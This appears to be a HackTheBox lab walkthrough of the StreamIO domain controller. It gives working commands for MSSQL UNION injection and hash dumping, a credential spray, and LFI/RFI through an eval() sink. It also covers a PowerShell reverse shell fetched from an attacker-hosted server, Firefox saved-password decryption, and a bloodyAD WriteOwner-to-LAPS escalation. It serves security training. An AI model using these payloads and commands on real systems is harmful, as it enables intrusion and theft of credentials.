StreamIO — SQL Injection to RFI, Firefox Creds, and LAPS Abuse on a Windows DC
Introduction
StreamIO is a Medium-rated Windows Active Directory machine on HackTheBox. It’s an excellent box for anyone learning web-to-AD attack chains: you start with a classic SQL injection on a PHP/MSSQL app, escalate through a file inclusion vulnerability and a dangerously written eval() function, then pivot through multiple sets of credentials until BloodHound reveals an AD permission chain that ends with LAPS — the Local Administrator Password Solution.
This machine teaches you to chain: SQL injection → hash cracking → admin panel abuse → LFI/RFI → shell → credential hunting → AD ACL abuse → LAPS read → Domain Admin. Each step is realistic and each technique appears regularly in real-world engagements.
Attack Chain Summary
Nmap: DC with HTTPS, WinRM, MSSQL
↓
watch.streamio.htb → MSSQL UNION SQLi → Dump user hashes
↓
Hashcat (rockyou) → yoshihide:66boysandgirls..
↓
Admin panel (streamio.htb) → LFI via ?debug= param
↓
PHP filter → Read source → DB creds + eval() in master.php
↓
RFI via http:// → Reverse shell (yoshihide)
↓
sqlcmd → streamio_backup DB → nikk37 hash → cracked
↓
evil-winrm → nikk37 → USER FLAG
↓
Firefox key4.db decrypt → JDgodd:JDg0dd1s@d0p3cr3@t0r
↓
BloodHound: JDgodd --WriteOwner--> CORE STAFF --ReadLAPS--> DC
↓
bloodyAD: GenericAll on group → Add JDgodd → Read LAPS
↓
evil-winrm → Administrator → ROOT FLAG
Reconnaissance
Nmap Scan
sudo nmap -sS -sV -sC 10.129.29.8
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Domain controller indicator |
| 80 | HTTP | IIS 10.0 — default page |
| 88 | Kerberos | Confirms Active Directory |
| 135/593 | RPC | Windows RPC |
| 139/445 | SMB | Requires authentication |
| 389/3268 | LDAP | AD domain: streamIO.htb |
| 443 | HTTPS | SSL cert reveals vhosts |
| 5985 | WinRM | Remote management — useful for shells |
The SSL certificate on port 443 is a goldmine: it contains Subject Alternative Names listing both virtual hosts — streamIO.htb and watch.streamIO.htb. This immediately tells us there are two separate web applications to enumerate.
Add both to /etc/hosts:
echo "10.129.29.8 DC.streamIO.htb streamIO.htb watch.streamIO.htb" | sudo tee -a /etc/hosts
Why enumerate virtual hosts? On Windows IIS servers, multiple web applications often run on the same IP but respond to different
Hostheaders. Missing a vhost means missing part of the attack surface — in this case, the entire vulnerable application.
SMB and LDAP (dead ends, but worth checking)
smbclient -L //10.129.29.8 -N
# Result: NT_STATUS_ACCESS_DENIED — no null session
ldapsearch -x -H ldap://10.129.29.8 -b "DC=streamIO,DC=htb" -s base
# Result: requires authentication — no anonymous bind
These fail silently but confirm the machine is locked down at the network perimeter. We pivot to the web.
Enumeration
Two Web Applications
http://streamIO.htb(port 80) → IIS default page, nothing usefulhttps://streamIO.htb(port 443) → Main StreamIO website with a login page at/login.phpand an/admin/panelhttps://watch.streamIO.htb(port 443) → Movie streaming site with a/search.phpendpoint
Fuzzing watch.streamIO.htb
ffuf -u https://watch.streamIO.htb/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-fc 404 -ic -e .asp,.aspx,.php,.html
Discovered: search.php, index.php, static/
The search.php page accepts a q POST parameter — a search field that queries movies from the backend database.
SQL Injection on search.php
Testing with a single quote ' causes a noticeable change in the response — a classic sign of SQL injection. The backend is Microsoft SQL Server (MSSQL).
Finding the number of columns — some payloads are blocked:
' UNION SELECT NULL--→ blocked (NULL keyword filtered)' ORDER BY 1--→ blocked (ORDER BY filtered)
Working approach using empty string literals:
q='+UNION+SELECT+'','','','','',''--+
This works with 6 columns. Only column 2 is reflected in the page output.
Identifying the database engine:
q='+UNION+SELECT+'1',@@version,'3','4','5','6'--+
Result: Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ... Windows Server 2019 Standard
Why
@@versioninstead ofversion()? MSSQL uses@@version(a global variable), while MySQL/PostgreSQL useversion()as a function. Knowing which database engine you’re targeting determines which syntax and functions are available.
Dumping the Users table:
First, retrieve usernames:
curl -sk -X POST https://watch.streamio.htb/search.php \
--data "q='+UNION+SELECT+'1',username,'3','4','5','6'+FROM+Users-- " \
| grep -oP '(?<=<h5 class="p-2">)[^<]+'
Then extract username:hash pairs:
curl -sk -X POST https://watch.streamio.htb/search.php \
--data "q='+UNION+SELECT+'1',CAST(id+AS+VARCHAR)%2b'+-+'+%2busername%2b'+:+'+%2bpassword,'3','4','5','6'+FROM+Users-- " \
| grep -oP '(?<=<h5 class="p-2">)\d+ - \K[^<]+' > hashes.txt
Cracking the Hashes
The hashes are MD5 (32-character hex strings). Crack them with Hashcat:
# -m 0 = MD5 mode
# -a 0 = dictionary attack
# --username = input file has "username:hash" format
hashcat -m 0 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt --force
Cracked credentials:
| Username | Password |
|---|---|
| Thane | highschoolmusical |
| Lenord | physics69i |
| admin | paddpadd |
| yoshihide | 66boysandgirls.. |
| Clara | %$clara |
| Bruno | $monique$1991$ |
| Barry | $hadoW |
| Juliette | $3xybitch |
| Lauren | ##123a8j8w5123## |
| Michelle | !?Love?!123 |
| Sabrina | !!sabrina$ |
| Victoria | !5psycho8! |
Credential Spray on the Login Page
Use ffuf in pitchfork mode to test all username/password pairs simultaneously:
# Extract lists
cut -d':' -f1 creds.txt > users.txt
cut -d':' -f2 creds.txt > passes.txt
ffuf -u https://streamio.htb/login.php \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ1&password=FUZZ2" \
-w users.txt:FUZZ1 \
-w passes.txt:FUZZ2 \
-mode pitchfork \
-mc 302 -fr "Invalid"
Pitchfork mode tests pairs in order: user1:pass1, user2:pass2, etc. This assumes each username goes with its own password — correct for this scenario where we matched users to their hashes.
Hit: yoshihide:66boysandgirls.. → redirects to the home page (HTTP 302 = successful login).
Foothold / Initial Access
Admin Panel and the ?debug= Parameter
After logging in as yoshihide, the site shows an admin panel at https://streamio.htb/admin/. It has sections for users, messages, staff, and movies — but the most interesting discovery comes from parameter fuzzing.
Fuzzing for hidden query parameters:
ffuf -u "https://streamio.htb/admin/?FUZZ=" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-b "PHPSESSID=<your_session>" \
-fc 200 -fs 1678
Discovered: ?debug= — a hidden developer parameter.
Local File Inclusion (LFI)
Test the parameter with a known Windows file:
GET /admin/?debug=C%3A%5CWindows%5Cwin.ini
Decoded: C:\Windows\win.ini
The contents of win.ini appear on the page. This is a Local File Inclusion (LFI) vulnerability — the server is reading arbitrary local files and including their content in the response.
What is LFI? Local File Inclusion occurs when a web application uses user-supplied input to include files on the server without proper validation. An attacker can traverse the filesystem to read sensitive files like configuration files, source code, or even system files.
Reading PHP Source Code via PHP Filters
PHP includes a set of “wrappers” — special URI schemes that modify how files are read. The php://filter wrapper can encode a PHP file in Base64 before returning it, bypassing PHP execution and letting us read the source:
GET /admin/?debug=php://filter/convert.base64-encode/resource=index.php
Decode the Base64 output to get the source of index.php. Inside:
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
?>
Hardcoded database credentials found: db_admin:B1@hx31234567890
Now read master.php:
GET /admin/?debug=php://filter/convert.base64-encode/resource=master.php
At the bottom of master.php:
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
This is critically dangerous code.
file_get_contents()fetches the content of a URL or file path.eval()then executes that content as PHP code. Ifallow_url_includeis enabled (or if thehttp://wrapper works), an attacker can pointincludeto a remote PHP file they control — Remote File Inclusion leading to Remote Code Execution.
Remote File Inclusion → Reverse Shell
The trick is:
- The
includePOST parameter points to our server file_get_contents()fetches our PHP fileeval()executes the PHP code- BUT
eval()expects raw PHP code — without<?php ?>tags
Also important: the ?debug=master.php parameter must be set so the server includes and renders the master.php file containing the vulnerable eval() block.
Step 1: Generate a PowerShell reverse shell payload (Base64 encoded) from revshells.com — select “PowerShell Base64” with your IP and port.
Step 2: Create shell.php (no PHP tags — just raw PHP code for eval):
system("powershell -e <BASE64_PAYLOAD_HERE>");
Step 3: Host it on a Python HTTP server:
python3 -m http.server 8000
Step 4: Set up a listener:
nc -lvnp 4444
Step 5: Send the exploit:
curl -sk -X POST "https://streamio.htb/admin/?debug=master.php" \
-b "PHPSESSID=<your_session>" \
-d "include=http://10.10.15.86:8000/shell.php"
Shell received:
Connection received on 10.129.29.8 59719
PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide
Lateral Movement
Mining the Backup Database
We have a shell as yoshihide, and we already know the MSSQL credentials from the source code. The external MSSQL port (1433) is not open to our attacker machine, but we can run sqlcmd from within the compromised server:
sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM master..sysdatabases;'
Databases found:
master
tempdb
model
msdb
STREAMIO
streamio_backup ← interesting!
Query the backup database for more users:
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 `
-Q "USE streamio_backup; SELECT username, password FROM users"
Output (subset):
nikk37 : 389d14cb8e4e9b94b137deb1caf0612a
yoshihide : b779ba15cedfd22a023c4d8bcf5f2332
James : c660060492d9edcaa8332d89c99c9239
...
Crack the new hashes:
hashcat -m 0 -a 0 --username backup_hashes.txt /usr/share/wordlists/rockyou.txt --force
Cracked: nikk37:get_dem_girls2@yahoo.com
WinRM Access as nikk37
Port 5985 (WinRM) is open. Check if nikk37 is in the Remote Management Users group — BloodHound or a simple test confirms it:
evil-winrm -i streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com'
*Evil-WinRM* PS C:\Users\nikk37\Desktop> type user.txt
[redacted]
User flag obtained.
Privilege Escalation
Firefox Saved Credentials
Running a post-exploitation enumeration tool (e.g., winPEAS) flags something interesting:
Firefox credentials file exists at:
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
Firefox stores saved passwords in two files:
key4.db— the encryption key database (SQLite)logins.json— the encrypted login entries
Together, these files can be decrypted offline.
Step 1: Download the Firefox profile files via evil-winrm:
# On the target (evil-winrm shell)
copy C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db C:\Windows\Temp\
copy C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json C:\Windows\Temp\
copy C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\cert9.db C:\Windows\Temp\
Then download them from evil-winrm with download C:\Windows\Temp\key4.db.
Step 2: Decrypt with firefox_decrypt:
git clone https://github.com/unode/firefox_decrypt.git
cd firefox_decrypt
python3 firefox_decrypt.py ~/firefox_creds/
Output:
Website: https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'
Website: https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'
Website: https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'
Testing these creds reveals that JDgodd:JDg0dd1s@d0p3cr3@t0r is a valid domain account (the admin entry has the wrong username label — the actual username saved in the browser was JDgodd).
Why does this work? Firefox encrypts saved passwords using a master key derived from the user’s profile. When no master password is set (the default), the key is stored in
key4.dband can be extracted.firefox_decryptautomates the decryption oflogins.jsonusing the key fromkey4.db.
BloodHound — AD Attack Path Discovery
Run BloodHound data collection from the attacker machine:
bloodhound-python -u nikk37 -p 'get_dem_girls2@yahoo.com' \
-ns 10.129.29.8 -d streamIO.htb -c all
Import the resulting JSON files into BloodHound and search for attack paths to Domain Admin.
Key findings:
JDgoddhas WriteOwner on theCORE STAFFgroup- The
CORE STAFFgroup has ReadLAPSPassword on the Domain Controller (DC.streamIO.htb)
This is a two-hop privilege escalation chain:
- WriteOwner → take ownership → grant yourself GenericAll → add yourself to group
- Group member → read LAPS password → local admin on DC → WinRM as Administrator
Exploiting WriteOwner → LAPS Read
What is WriteOwner?
In Active Directory, every object (user, group, computer) has an owner. The owner has implicit permission to modify the object’s DACL (Discretionary Access Control List). If you have WriteOwner on an object, you can make yourself the owner, then grant yourself any permission you want — including GenericAll (full control).
What is LAPS?
LAPS (Local Administrator Password Solution) is a Microsoft feature that automatically manages and rotates the local administrator password on domain-joined computers. The password is stored in a confidential AD attribute (ms-Mcs-AdmPwd) and is only readable by users/groups that have been explicitly granted the ReadLAPSPassword permission.
Step 1: Confirm JDgodd already owns CORE STAFF (or set ownership):
bloodyAD --host 10.129.29.8 -d streamIO.htb \
-u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
set owner 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
'CN=JDgodd,CN=Users,DC=streamIO,DC=htb'
Step 2: Grant JDgodd GenericAll on CORE STAFF (since JDgodd owns it, this is self-granting):
bloodyAD --host 10.129.29.8 -d streamIO.htb \
-u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
add genericAll 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
'CN=JDgodd,CN=Users,DC=streamIO,DC=htb'
Step 3: Add JDgodd as a member of CORE STAFF:
bloodyAD --host 10.129.29.8 -d streamIO.htb \
-u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
add groupMember 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
'CN=JDgodd,CN=Users,DC=streamIO,DC=htb'
Step 4: Read the LAPS password (JDgodd is now in CORE STAFF, which can read LAPS):
bloodyAD --host 10.129.29.8 -d streamIO.htb \
-u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
get object 'CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb' \
--attr ms-Mcs-AdmPwd
Output:
ms-Mcs-AdmPwd: D6Bhe,{L4l]VMn
Administrator Shell
evil-winrm -i 10.129.29.8 -u Administrator -p 'D6Bhe,{L4l]VMn'
The root flag is in Martin’s Desktop (not Administrator’s — worth checking with a recursive search):
Get-ChildItem -Path C:\ -Recurse -Filter "root.txt" -ErrorAction SilentlyContinue -Force
Directory: C:\Documents and Settings\Martin\Desktop
-ar--- root.txt
*Evil-WinRM* PS C:\Users\martin\Desktop> type root.txt
[redacted]
Root flag obtained.
Flags
User flag : [redacted]
Root flag : [redacted]
Key Takeaways
-
MSSQL UNION injection requires knowing the exact number of columns and which columns are reflected. When common keywords (
NULL,ORDER BY) are filtered, test with empty strings to enumerate column count. -
PHP
eval(file_get_contents($input))is one of the most dangerous patterns in PHP code. Thehttp://RFI wrapper often works even whendata://is blocked. Always test RFI before assuming only LFI is possible. -
Never hardcode credentials in PHP source files. In this box, reading
index.phpvia PHP filter exposed DB credentials that enabled lateral movement to the backup database and ultimately to a new user. -
Firefox credential files are a high-value target on any Windows machine where a browser is installed. If a user has saved passwords,
key4.db+logins.jsoncan be decrypted without the master password (unless explicitly set) usingfirefox_decrypt. -
BloodHound is essential for AD chains. The WriteOwner → GenericAll → group membership → LAPS read chain is invisible without a graph view of AD permissions. Always run BloodHound as soon as you have valid domain credentials.